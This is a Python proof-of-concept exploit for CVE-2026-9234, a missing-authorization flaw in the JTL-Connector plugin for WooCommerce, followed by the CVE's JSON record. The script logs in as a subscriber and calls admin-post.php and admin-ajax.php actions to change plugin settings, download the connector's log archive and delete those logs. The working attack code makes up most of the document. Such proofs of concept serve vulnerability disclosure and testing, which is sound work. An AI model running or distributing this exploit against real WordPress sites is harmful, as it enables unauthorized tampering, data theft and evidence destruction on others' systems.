CVE-2026-9234

import requests import re # CVE-2026-9234 PoC - Missing Authorization in JTL-Connector for WooCommerce # Target: WordPress site with JTL-Connector plugin <= 2.4.1 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" # Subscriber-level user PASSWORD = "password" def get_nonce(wordpress_url): """Extract admin nonce from plugin settings page""" session = requests.Session() # Login as subscriber login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/admin.php?page=jtl-connector', 'testcookie': '1' } resp = session.post(f"{wordpress_url}/wp-login.php", data=login_data) return session.cookies.get_dict() def exploit_modify_settings(session, cookies): """Modify plugin settings without authorization""" modify_data = { 'action': 'save_woo-jtl-connector', 'jtl_connector_settings': 'modified_by_attacker', '_wpnonce': 'bypass_or_missing' # nonce may be missing or weak } resp = session.post( f"{TARGET_URL}/wp-admin/admin-post.php", data=modify_data, cookies=cookies ) return resp.status_code == 200 def exploit_download_logs(session, cookies): """Download JTL connector log files ZIP archive""" resp = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data={'action': 'downloadJTLLogs'}, cookies=cookies ) if resp.status_code == 200 and 'zip' in resp.headers.get('Content-Type', ''): with open('jtl_logs.zip', 'wb') as f: f.write(resp.content) return True return False def exploit_clear_logs(session, cookies): """Delete all JTL connector log files""" resp = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data={'action': 'clearJTLLogs'}, cookies=cookies ) return resp.status_code == 200 def main(): print("[*] CVE-2026-9234 PoC - JTL-Connector Authorization Bypass") print("[*] Target:", TARGET_URL) cookies = get_nonce(TARGET_URL) if not cookies: print("[-] Authentication failed") return print("[+] Logged in as subscriber") if exploit_modify_settings(requests.Session(), cookies): print("[+] Settings modified successfully") if exploit_download_logs(requests.Session(), cookies): print("[+] Log files downloaded to jtl_logs.zip") if exploit_clear_logs(requests.Session(), cookies): print("[+] Log files deleted") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-9234", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.033", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.4.1. This is due to missing capability checks and nonce verification on the admin_post_settings_save_woo-jtl-connector action (handled by JtlConnectorAdmin::save()) and on the wp_ajax_downloadJTLLogs and wp_ajax_clearJTLLogs AJAX actions (handled by the global downloadJTLLogs() and clearJTLLogs() functions). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary plugin settings, download a ZIP archive of the connector's developer log files, and delete those log files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-jtl-connector/tags/2.4.1/includes/JtlConnectorAdmin.php#L3007", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-jtl-connector/tags/2.4.1/includes/JtlConnectorAdmin.php#L574", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-jtl-connector/tags/2.4.1/woo-jtl-connector.php#L161", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-jtl-connector/tags/2.4.1/woo-jtl-connector.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-jtl-connector/tags/2.4.1/woo-jtl-connector.php#L92", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1475f3c4-b1ff-422c-a832-f6261361c240?source=cve", "source": "[email protected]"}]}}